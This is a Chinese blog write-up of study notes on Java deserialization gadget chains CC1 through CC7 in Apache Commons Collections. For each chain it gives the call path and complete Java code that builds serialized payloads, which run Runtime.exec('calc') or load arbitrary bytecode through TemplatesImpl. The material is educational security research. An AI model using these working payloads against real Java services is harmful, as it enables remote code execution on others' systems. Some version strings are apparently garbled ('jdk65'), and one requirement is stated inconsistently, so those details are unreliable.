JAVA反序列化-CC链
简介
Apache Commons 是对 JDK 的拓展,包含了很多开源的工具,用于解决平时编程经常会遇到的问题。Apache Commons 当中有一个组件叫做 Apache Commons Collections,封装了 Java 的 Collection 相关类对象。
学习路线
CC1->CC6->CC3->CC2->CC4->CC5->CC7
测试环境:jdk65
Commons Collections:3.2.1和4.0
CC1
影响范围
jdk <= 71
cc <= 3.2.1
逆向推
从Transformer
的实现类,发现了InvokerTransformer
类,在InvokerTransformer
类发现了transform
方法。该方法类似反射,可以调任意方法并执行。有点像后门写法。
TransformedMap
这条据说是当时传入国内时分析出来的一条。
继续反向找谁调用了transform
方法,于是找到了TransformedMap
中的checkSetValue
方法
然后发现valueTransformer
可以通过构造函数传入,是可控的。继续反向查找谁调用了checkSetValue
方法。然后发现AbstractInputCheckedMapDecorator
类中静态类MapEntry
的setValue
方法调用了checkSetValue
方法。
继续反向找谁调用了setValue
方法,发现在AnnotationInvocationHandler
中的readObject
方法调用了setValue
方法,且这里的memberValues
是可控的。但这里的setValue(value)
方法中的参数不是可控的,这里是固定的AnnotationTypeMismatchExceptionProxy
。
于是继续寻找解决办法,在Transformer
的实现类中发现了ChainedTransformer
类,该类的transform
方法实现了传入一个transformer
数组,递归调用数组中transformer
的transform
方法。相当于,反序列化时,走到上面TransformedMap
中的checkSetValue
方法时,valueTransformer
也就是传入的ChainedTransformer
;
但setValue
方法传入的参数,依旧在第一个,链还是走不通;
于是继续寻找,在Transformer
的实现类中发现了ConstantTransformer
类,该类的transform
方法,恒值,返回构造时传入的Transformer
。于是,在ChainedTransformer
类中放入以ConstantTransformer
开头的数组,就实现了,无视setValue
方法传入的参数,继续后面的链。这条链就通了。
注意:
map.put("value","123")
;
这个value
是Target.class
里面的属性
Gaget chain:
AnnotationInvocationHandler.readObject()
memberValue.setValue()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
完整代码
// 链式+Constant
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
// TransformedMap
HashMap<Object, Object> map = new HashMap<>();
map.put("value","123");
Map<Object,Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorate);
serialize(o);
LazyMap
LazyMap
后面sink
部分是一样的,也就是在找transform
方法时,找到了LazyMap
的get
方法。然后发现这里的factory
也是可控。
于是继续寻找,找到了AnnotationInvocationHandler
也就是动态代理的类,其中的invoke
方法,调用了get
方法。也就是只要执行了AnnotationInvocationHandler
这个类的任意方法,就会调用invoke
,进而执行get
方法。但要走到这个get
方法,invoke
捕捉到的method
参数必须是没有的。
其实入口类可以通过别的方法进入到这里,但ysoserial
中这条链的原作者走的依旧是这个类,在AnnotationInvocationHandler.readObject()
中memberValues.entrySet()
刚好无参数。所以整条链就走通了。
Gadget chain
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
完整代码
// 链式+Constant
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap<Object, Object> map = new HashMap<>();
Map lazy = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazy);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler);
Object o = constructor.newInstance(Override.class, mapProxy);
serialize(o);
CC2
依赖:commons-collections4
TemplatesImpl
动态字节码中的类必须继承AbstractTranslet
可以结合CC3一起看
该链的依赖使用的是commons-collections4
,在commons-collections4
中,将org.apache.commons.collections.comparators.TransformingComparator
类实现了Serializable
,所以可序列化了。在ysoserial
的CC2中,最后的执行链写的是Runtime.exec()
,但其实是利用的TemplatesImpl.newTransformer
来进行动态字节码。(ysoserial
中也是执行动态字节码,动态字节码中是用字符串拼接了,然后生成字节码来执行的)
该链的sink
执行链后半部分和CC3
是一样的,最后都是调用TemplatesImpl.newTransformer
来执行动态字节码。只不过该链前半部分没有使用InstantiateTransformer
和TrAXFilter
,该链使用的是InvokerTransformer
来执行newTransformer
。
也就是断在了反向找谁执行transform
。
反向找到了,刚好实现可以反序列化的TransformingComparator
中的compare
方法。
然后,找这条链的技术大佬java很扎实,就想到了,优先队列PriorityQueue
中有compare
,且刚好comparator
对象是可控的,且优先队列PriorityQueue
的readObject
刚好会走到compare
,于是一条链就完整了。
Gadget chain
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
完整代码
// sink 执行链为TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field fieldName = c.getDeclaredField("_name");
// 为了满足if判断逻辑
fieldName.setAccessible(true);
fieldName.set(templates,"aaa");
// 获取字节码属性
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
// 获取字节码
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
// 借用InvokerTransformer.transform触发newTransformer
Transformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
// invokerTransformer.transform(templates);
// TransformingComparator.compare触发transform
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer,null);
// PriorityQueue.readObject中会触发comparator.compare。这里当add第二个值时会触发comparator.compare,所以这里还是先填充其他的transformingComparator
PriorityQueue<Object> o = new PriorityQueue<>(2,new TransformingComparator<>(new ConstantTransformer<>(1)));
// 过 heapify()的 size >>> 1判断逻辑 “2 >>> 1” 0000 0010 -> 0000 0001// “>>>” 右移 补0 以8位为单位
o.add(templates);
o.add(1);
// 再通过反射填充回装有invokerTransformer的transformingComparator
Class<? extends PriorityQueue> oClass = o.getClass();
Field oClassDeclaredField = oClass.getDeclaredField("comparator");
oClassDeclaredField.setAccessible(true);
oClassDeclaredField.set(o,transformingComparator);
serialize(o);
unSerialize("ser.bin");
注意:
从头写的话,注意TemplatesImpl
需要_tfactory
属性逻辑。
优先队列put
添加两个属性,才能过heapify()
的 size >>> 1
逻辑
这里也填了前面坑。在前面的CC链过程中,Runtime
类,确实不能序列化。在序列化时,其实都没有生成Runtime
类。 在反序列化的时候,才会触发,慢慢生成Runtime
类,然后执行exec
CC3
TemplatesImpl
动态字节码中的类必须继承AbstractTranslet
该链的前半部分和CC1一样,但在后面sink
类执行时,采用了加载动态字节码的方式攻击。也就是找defineClass
方法,找到了TransletClassLoade
。
然后该defineClass
方法由TemplatesImpl.defineTransletClasses()
调用
然后继续找,上面的方法由TemplatesImpl.getTransletInstance
调用,并在下面进行了实例化操作,刚好就符合了动态字节码加载的要求。
继续寻找,发现了TemplatesImpl.newTransformer
的方法为public
并调用了上面的方法。
到这里其实就可以用CC1前面的ChainedTransformer
和LazyMap
或TransformedMap
进行拼接了,但是是原作者是找到另一条链进行拼接。
原作者继续寻找,发现TrAXFilter
的构造方法中调用了newTransformer
方法。
然后,又寻找到InstantiateTransformer.transform
方法可以实例化TrAXFilter
。
然后再接上前半部分链就可以了,前半部分可以用TransformedMap
或者LazyMap
Gadget chain
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter.TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
完整代码
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field fieldName = c.getDeclaredField("_name");
// 为了满足if判断逻辑
fieldName.setAccessible(true);
fieldName.set(templates,"aaa");
// 获取字节码属性
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
// 获取字节码
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
// 使用ChainedTransformer包裹InstantiateTransformer,并触发InstantiateTransformer.transformer
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
});
// LazyMap链
HashMap<Object, Object> map = new HashMap<>();
Map lazy = LazyMap.decorate(map, chainedTransformer);
Class ccc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = ccc.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazy);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler);
Object o = constructor.newInstance(Override.class, mapProxy);
serialize(o);
unSerialize("ser.bin");
需要注意:
在Test
类中,必须继承com.sun.org.apache.xml.internal.serializer.SerializationHandler
才能通过if (superClass.getName().equals(ABSTRACT_TRANSLET))
的逻辑,才能反序列化成功
CC4
依赖:
Commons Collections 4.0
TemplatesImpl
动态字节码中的类必须继承AbstractTranslet
原作者都说了和CC2
唯一的不同就是这里通过ChainedTransformer-ConstantTransformer-InstantiateTransformer-TrAXFilter
来触发newTransformer
,CC2
是通过InvokerTransformer
来触发。可以结合CC2和CC3一起来看
Gadget chain
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter.TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
完整代码
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field fieldName = c.getDeclaredField("_name");
// 为了满足if判断逻辑
fieldName.setAccessible(true);
fieldName.set(templates,"aaa");
// 获取字节码属性
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
// 获取字节码
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
// 使用ChainedTransformer包裹InstantiateTransformer,并触发InstantiateTransformer.transformer
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
});
// 创建TransformingComparator
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer,null);
// PriorityQueue.readObject中会触发comparator.compare。这里当add第二个值时会触发comparator.compare,所以这里还是先填充其他的transformingComparator
PriorityQueue<Object> o = new PriorityQueue<>(2,new TransformingComparator<>(new ConstantTransformer<>(1)));
// 过 heapify()的 size >>> 1判断逻辑 “2 >>> 1” 0000 0010 -> 0000 0001// “>>>” 右移 补0 以8位为单位
o.add(templates);
o.add(1);
// 再通过反射填充回装有invokerTransformer的transformingComparator
Class<? extends PriorityQueue> oClass = o.getClass();
Field oClassDeclaredField = oClass.getDeclaredField("comparator");
oClassDeclaredField.setAccessible(true);
oClassDeclaredField.set(o,transformingComparator);
serialize(o);
unSerialize("ser.bin");
CC5
该链原作者说jdk版本必须要JDK 8u76,这里的jdk其实是jetbrains维护的,但很早就没维护的。其他厂商维护的jdk其实都可以触发。
该链可以对比CC6
来看,CC6
用的tiedMapEntry.hashCode
,然后使用HashMap
作为入口包裹,CC5
是使用tiedMapEntry.toString
,使用BadAttributeValueExpException
包裹。
相当于,逆向找LazyMap.get
方法时,找到了tiedMapEntry.toString
然后又继续找到了BadAttributeValueExpException的readObject调用了toString
该链就已经完整了。
需要注意的是,用BadAttributeValueExpException
包装时,必须先置空,再用反射的方式放入。调试的时候,很诡异,不知道该怎么解释。猜测idea调tostring
有点问题,即使关闭了debug的toString
选项,也有问题。
如果我们直接将前面构造好的TiedMapEntry
传进去用BadAttributeValueExpException
包装时,在其构造函数就会触发toString
,从而导致RCE。此时val
的值为UNIXProcess
,这是不可以被反序列化的,所以我们需要在不触发RCE的前提,将val
设置为构造好的TiedMapEntry
。
Gadget chain
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
完整代码
// 链式+Constant
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazy = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazy, "aaa");
// 未能理解
// BadAttributeValueExpException o = new BadAttributeValueExpException(tiedMapEntry);
BadAttributeValueExpException o = new BadAttributeValueExpException(null);
Class c = o.getClass();
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(o,tiedMapEntry);
serialize(o);
unSerialize("ser.bin");
CC6
与CC1
相似,后半部分链是相同的。在反向找谁调用了LazyMap
的get
方法时,找到了TiedMapEntry
中的getValue
方法。
而在TiedMapEntry
这个类中的hashCode
方法调用了getValue
方法
这就正好和URLDNS
链类似,可以使用HashMap
类来进行包裹,将HashMap
作为source
入口类。
需要注意的点也是,在put
的时候会执行一边hashCode
方法,所以得提前修改对象的数据,然后再改回来。
Gadget chain
ObjectInputStream.readObject()
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
完整代码
// 链式+Constant
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazy = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazy, "aaa");
// source 包裹
HashMap<Object, Object> map2 = new HashMap<>();
// 类似URLDNS那条链,先不填充,put后再填充,以便序列化时不触发,反序列化时触发,这里是先清空 tiedMapEntry 中的map,然后再填充成lazy
Class c = tiedMapEntry.getClass();
Field declaredField = c.getDeclaredField("map");
declaredField.setAccessible(true);
declaredField.set(tiedMapEntry,new HashMap<>());
map2.put(tiedMapEntry, "bbb");
declaredField.set(tiedMapEntry,lazy);
serialize(map2);
unSerialize("ser.bin");
CC7
该链的后半链和CC1
相同,不同的是在调用LazyMap
的get
方法是通过AbstractMap#equals
触发
继续往后推,是HashTable#reconstitutionPut
中调用了equals
然后在HashTable
的readObject
中调用了reconstitutionPut
整条链就走完了
接下来是参数控制的问题:
调用两次put
在第一次调用reconstitutionPut
时,会把key
和value
注册进table
中
此时由于tab[index]
里并没有内容,所以并不会走进这个for循环内,而是给将key
和value
注册进tab
中。在第二次调用reconstitutionPut
时,tab
中才有内容,我们才有机会进入到这个for循环中,从而调用equals
方法。这也是为什么要调用两次put
的原因。
调用的两次put
其中map
中key
的值分别为yy和zZ
这里的index
要求两次都一样时,进入for循环,比较e.hash
和当前计算出的hash
后,才会进入后面的equals
。而Java里面,zZ
和yy
的hashCode
值是相同的,都是3872
。所以刚好碰撞成功。两个Map需要hash相等,其实不需要哈希碰撞,随便写一个值异或回来就行。
最后的remove
操作
在HashTable
的put
操作时,也会调用equals
,调用完后(LazyMap
的get
会进行map.put
操作),map2
会多增加一个yy->yy
键值对。而在反序列化时,走到equals
时,会与上一个比较size
,所以就无法走到下面的get
,进而无法调用恶意代码,所以得remove
掉。我看其他文章与这里有点不同,可能是jdk版本的原因,不过最终都是要remove
。
Gadget chain
Hashtable
Hashtable.reconstitutionPut
AbstractMapDecorator.equals
AbstractMap.equals
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
完整代码
// hashcode相同3872
// int b = "yy".hashCode();
// int a = "zZ".hashCode();
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 链式+Constant
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
Map<Object, Object> lazy1 = LazyMap.decorate(map1, chainedTransformer);
Map<Object, Object> lazy2 = LazyMap.decorate(map2, chainedTransformer);
lazy1.put("yy",1);
lazy2.put("zZ",1);
//map1.put("hack", -50515712);
//map2.put("halfblue", 4396);
Hashtable hashtable = new Hashtable();
hashtable.put(lazy1,1);
hashtable.put(lazy2,2);
Class<? extends ChainedTransformer> c = chainedTransformer.getClass();
Field iTransformers = c.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformers);
lazy2.remove("yy");
serialize(hashtable);
unSerialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unSerialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
总结
CC1和CC3受JDK版本影响 jdk72修改了AnnotationInvocationHandler
这个类的readObject
方法,导致前面的链就走不通了。
- 1、3、5、6、7是
Commons Collections<=3.2.1
中存在的反序列化链。 - 2、4是
Commons Collections 4.0
以上中存在的反序列化链。(TransformingComparator
变成了可序列化)
最后放上halfblue师傅做的图
附上学习过程中写的CC1-7的代码地址
https://github.com/Jarwu/java_commons_collections_learning
参考
非常感谢下面师傅的视频和文章
https://www.bilibili.com/video/BV1no4y1U7E1
https://github.com/frohoff/ysoserial
https://paper.seebug.org/1242/
https://halfblue.github.io/2021/08/23/CommonsCollections反序列化链整理/
本文来自博客园,作者:Jarwu,转载请注明原文链接:https://www.cnblogs.com/jarwu/p/17669457.html